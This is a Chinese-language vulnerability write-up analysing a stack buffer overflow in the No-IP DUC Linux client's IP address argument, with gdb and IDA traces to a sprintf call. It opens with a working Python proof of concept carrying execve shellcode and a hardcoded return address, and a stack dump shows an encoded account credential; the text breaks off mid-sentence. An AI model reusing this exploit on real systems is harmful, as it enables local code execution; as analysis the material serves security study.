作者:k0shl 转载请注明出处:http://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/3b0f5f2ff8637c73ab337be403252a60-noip-duc-linux.tar.gz
PoC:
import os
binary = ".ip-2.1.9-1/binariesip2-i686"
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"\
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"\
"\x80\xe8\xdc\xff\xff\xff/bin/送花"
nop = "\x90"
nop_slide = 296 - len(shellcode)
# (gdb) print &IPaddress
# $2 = (<data variable, no debug info> *) 0x80573bc
eip_addr = "\xbc\x73\x05\x08"
print "[*] Executing %s ..." % (binary)
os.system("%s -i %s%s%s" % (binary, nop*nop_slide, shellcode, eip_addr))
测试环境:
Kali 2.0
No-ip是一个域名更新的软件,测试前需要注册一个账号,然后进行漏洞实验。这个仍然是一个本地代码执行,带命令传入畸形字符串,会由于栈溢出造成代码执行,跟上一个分析一样,可以采用$python -c的方法,在gdb打开之后,通过run方法,传入畸形字符串,也方便调试。
0x01 漏洞复现
此漏洞是由于对IP Address参数处理不当,导致执行sprintf的时候,超长串使ebp被覆盖,在函数结尾调用leave指令后,esp被畸形字符串的ebp覆盖,从而ret之后可以跳转到可控地址,执行shellcode,导致本地代码执行,下面对此漏洞进行详细分析。
首先我们不通过poc,而是通过命令方式来重现漏洞场景,我们使用gdb中的run指令运行程序。
gdb-peda$ run -i $(python -c 'print "\x41"*300')
程序崩溃了,到达漏洞现场。
Starting program: /root/Desktop/noip-2.1.9-1/binaries/noip2-i686 -i $(python -c 'print "\x41"*300')
IP address detected on command line.
Running in single use mode.
Recovering dead process 26701 shmem slot
IP address 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Use the NAT facility.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0xb7fb6000 --> 0x1a5da8
ECX: 0x16
EDX: 0xb7fb786c --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff2c0 --> 0x804f100 ("IP address detected on command line.")
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0x804f100 ("IP address detected on command line.")
0004| 0xbffff2c4 --> 0xbffff374 --> 0xbffff4e8 ("/root/Desktop/noip-2.1.9-1/binaries/noip2-i686")
0008| 0xbffff2c8 --> 0x8053020 ("HTTP/1.1 200 OK\r\nDate: Tue, 26 Jan 2016 01:45:20 GMT\r\nServer: Apache\r\nVary: Accept-Encoding\r\nContent-Length: 2\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\n:7")
0012| 0xbffff2cc --> 0x1
0016| 0xbffff2d0 --> 0xb7fb7ce0 --> 0x8058098 ("nobody")
0020| 0xbffff2d4 --> 0x8053020 ("HTTP/1.1 200 OK\r\nDate: Tue, 26 Jan 2016 01:45:20 GMT\r\nServer: Apache\r\nVary: Accept-Encoding\r\nContent-Length: 2\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\n:7")
0024| 0xbffff2d8 --> 0x0
0028| 0xbffff2dc --> 0xb7e29a63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
可以看到,当前指针到达41414141这个地址,证明指针可控,通过bt回溯堆栈可以看到堆栈已经被破坏掉了。
gdb-peda$ bt
#0 0x41414141 in ?? ()
#1 0x41414141 in ?? ()
#2 0x41414141 in ?? ()
这时我们依然通过正向方法来定位漏洞形成的原因。
漏洞分析
我们来看一下gdb环境下打印的字符串。
Starting program: /root/Desktop/noip-2.1.9-1/binaries/noip2-i686 -i $(python -c 'print "\x41"*300')
IP address detected on command line.
Running in single use mode.
Recovering dead process 26701 shmem slot
可以看到打印字符串IP address detected on command line.我们通过IDA分析,可以找到这个字符串的位置。在数据段。
.rodata:0804F100 ; char aIpAddressDetec[]
.rodata:0804F100 aIpAddressDetec db 'IP address detected on command line.',0
.rodata:0804F100 ; DATA XREF: main+23Bo
根据aIpAddressDetec,搜索到字符串调用位置。
.text:0804993E cmp ds:IPaddress, 0
.text:08049945 jz short loc_8049978
.text:08049947 cmp background, 0
.text:0804994E jz short loc_8049978
.text:08049950 mov dword ptr [esp], offset aIpAddressDetec ; "IP address detected on command line."
我们在这里下断点,重新加载执行。
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fb6000 --> 0x1a5da8
ECX: 0xfffe
EDX: 0xffffffff
ESI: 0x0
EDI: 0x0
EBP: 0xbffff2d8 --> 0x0
ESP: 0xbffff2c0 --> 0xfffe
EIP: 0x8049950 (<main+571>: mov DWORD PTR [esp],0x804f100)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049945 <main+560>: je 0x8049978 <main+611>
0x8049947 <main+562>: cmp DWORD PTR ds:0x8052160,0x0
0x804994e <main+569>: je 0x8049978 <main+611>
=> 0x8049950 <main+571>: mov DWORD PTR [esp],0x804f100
0x8049957 <main+578>: call 0x804eaed <Msg>
0x804995c <main+583>: mov DWORD PTR [esp],0x804f125
0x8049963 <main+590>: call 0x804eaed <Msg>
0x8049968 <main+595>: mov DWORD PTR ds:0x8052160,0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0xfffe
0004| 0xbffff2c4 --> 0xbffff374 --> 0xbffff4e7 ("/root/Desktop/noip-2.1.9-1/binaries/noip2-i686")
0008| 0xbffff2c8 --> 0x8053020 ("/root/Desktop/noip-2.1.9-1/binaries/noip2-i686")
0012| 0xbffff2cc --> 0x1
0016| 0xbffff2d0 --> 0xb7fb7ce0 --> 0x8058098 ("nobody")
0020| 0xbffff2d4 --> 0x8053020 ("/root/Desktop/noip-2.1.9-1/binaries/noip2-i686")
0024| 0xbffff2d8 --> 0x0
0028| 0xbffff2dc --> 0xb7e29a63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08049950 in main ()
断点下面call Msg,应该就是打印这个字符串的调用。用n单步执行。
[-------------------------------------code-------------------------------------]
0x8049947 <main+562>: cmp DWORD PTR ds:0x8052160,0x0
0x804994e <main+569>: je 0x8049978 <main+611>
0x8049950 <main+571>: mov DWORD PTR [esp],0x804f100
=> 0x8049957 <main+578>: call 0x804eaed <Msg>
gdb-peda$ n
IP address detected on command line.
可以看到字符串确实打印了,接下来我们继续跟踪。
[-------------------------------------code-------------------------------------]
0x8049ae1 <main+972>: call 0x80491d8 <shmdt@plt>
0x8049ae6 <main+977>: mov DWORD PTR [ebp-0xc],0xffffffff
0x8049aed <main+984>: jmp 0x8049b60 <main+1099>
=> 0x8049aef <main+986>: call 0x804bfe3 <dynamic_update>
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0xb7fb6000 --> 0x1a5da8
ECX: 0x16
EDX: 0xb7fb786c --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff2c0 --> 0x804f100 ("IP address detected on command line.")
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
可以看到,到达dynamic_update这个函数步过之后到达漏洞现场,可以基本确认是在dynamic_update函数出现的问题,我们在这个函数下断点,接着单步步入。
可以看一下这个函数入口处的代码
push ebp
mov ebp, esp
sub esp, 358h
mov [ebp+var_18], 1
mov eax, port_to_use;port_to_use = 2035h = 8245
mov [esp], eax
call Connect;
mov [ebp+n], eax
cmp [ebp+n], 1
jz short loc_804C022、
并没有什么重要信息,我们继续在函数内部单步执行。Connect后到达第一处跳转。
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xb7fb6000 --> 0x1a5da8
ECX: 0xbfffef10 --> 0x0
EDX: 0xb7fb6000 --> 0x1a5da8
ESI: 0x0
EDI: 0x0
EBP: 0xbffff2b8 --> 0xbffff2d8 --> 0x0
ESP: 0xbfffef60 --> 0x2035 ('5 ')
EIP: 0x804c007 (<dynamic_update+36>: je 0x804c022 <dynamic_update+63>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804bffb <dynamic_update+24>: call 0x804ad53 <Connect>
0x804c000 <dynamic_update+29>: mov DWORD PTR [ebp-0x10],eax
0x804c003 <dynamic_update+32>: cmp DWORD PTR [ebp-0x10],0x1
=> 0x804c007 <dynamic_update+36>: je 0x804c022 <dynamic_update+63>
这里没有什么特别的地方,跳转后继续单步跟踪。
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xb7fb6000 --> 0x1a5da8
ECX: 0xbfffef10 --> 0x0
EDX: 0xb7fb6000 --> 0x1a5da8
ESI: 0x0
EDI: 0x0
EBP: 0xbffff2b8 --> 0xbffff2d8 --> 0x0
ESP: 0xbfffef60 --> 0x2035 ('5 ')
EIP: 0x804c022 (<dynamic_update+63>: mov DWORD PTR [esp+0x4],0x8053020)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804c014 <dynamic_update+49>: mov eax,DWORD PTR [ebp-0x10]
0x804c017 <dynamic_update+52>: mov DWORD PTR [ebp-0x32c],eax
0x804c01d <dynamic_update+58>: jmp 0x804c3e1 <dynamic_update+1022>
=> 0x804c022 <dynamic_update+63>: mov DWORD PTR [esp+0x4],0x8053020
到达第二处跳转,也没有什么特别的,继续跟踪。通过ida观察,可以发现到达了一处比较可以的位置。
.text:0804C022 mov dword ptr [esp+4], offset buffer ; int
.text:0804C02A mov eax, ds:request
.text:0804C02F mov [esp], eax ; s
.text:0804C032 call bdecode
.text:0804C037 mov dword ptr [esp+8], offset IPaddress
.text:0804C03F mov dword ptr [esp+4], offset aIpS ; "&ip=%s"
.text:0804C047 lea eax, [ebp+s]
.text:0804C04D mov [esp], eax ; s
.text:0804C050 call _sprintf
有一处sprintf操作,会在sprintf之前,把eax交给esp,而eax存放的是字符串s的位置。
[-------------------------------------code-------------------------------------]
0x804c037 <dynamic_update+84>: mov DWORD PTR [esp+0x8],0x80573bc
0x804c03f <dynamic_update+92>: mov DWORD PTR [esp+0x4],0x804fd8d
0x804c047 <dynamic_update+100>: lea eax,[ebp-0x128]
=> 0x804c04d <dynamic_update+106>: mov DWORD PTR [esp],eax
0x804c050 <dynamic_update+109>: call 0x8049348 <sprintf@plt>
0x804c055 <dynamic_update+114>: lea eax,[ebp-0x128]
0x804c05b <dynamic_update+120>: mov DWORD PTR [esp+0x4],eax
0x804c05f <dynamic_update+124>: mov DWORD PTR [esp],0x8053020
[------------------------------------stack-------------------------------------]
0000| 0xbfffef60 --> 0x8058040 ("dXNlcm5hbWU9a3Rlc2sxMjMmcGFzcz16YXF4c3cxMjMmaFtdPWt0ZXNrLmRkbnMubmV0")
0004| 0xbfffef64 --> 0x804fd8d ("&ip=%s")
0008| 0xbfffef68 --> 0x80573bc ('A' <repeats 200 times>...)
执行之后,我们可以看一下ebp的寄存器。
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x130
EBX: 0xb7fb6000 --> 0x1a5da8
ECX: 0x0
EDX: 0xbffff2c0 --> 0x804f100 ("IP address detected on command line.")
ESI: 0x0
EDI: 0x0
EBP: 0xbffff2b8 ("AAAAAAAA")
可以看到ebp的地址已经存放了AAAAAAAA,那么接下来执行的都是一些连接错误的信息,因为IP地址明显是一个错误的地址。
到达函数结束的位置。
0x804c3e1 <dynamic_update+1022>: mov eax,DWORD PTR [ebp-0x32c]
0x804c3e7 <dynamic_update+1028>: leave
=> 0x804c3e8 <dynamic_update+1029>: ret
可以看到,最后执行了一个leave指令,这条指令会把ebp地址存放的值,交给esp而此时ebp存放的值已经被AAAAA覆盖了,从而导致了ret之后,到达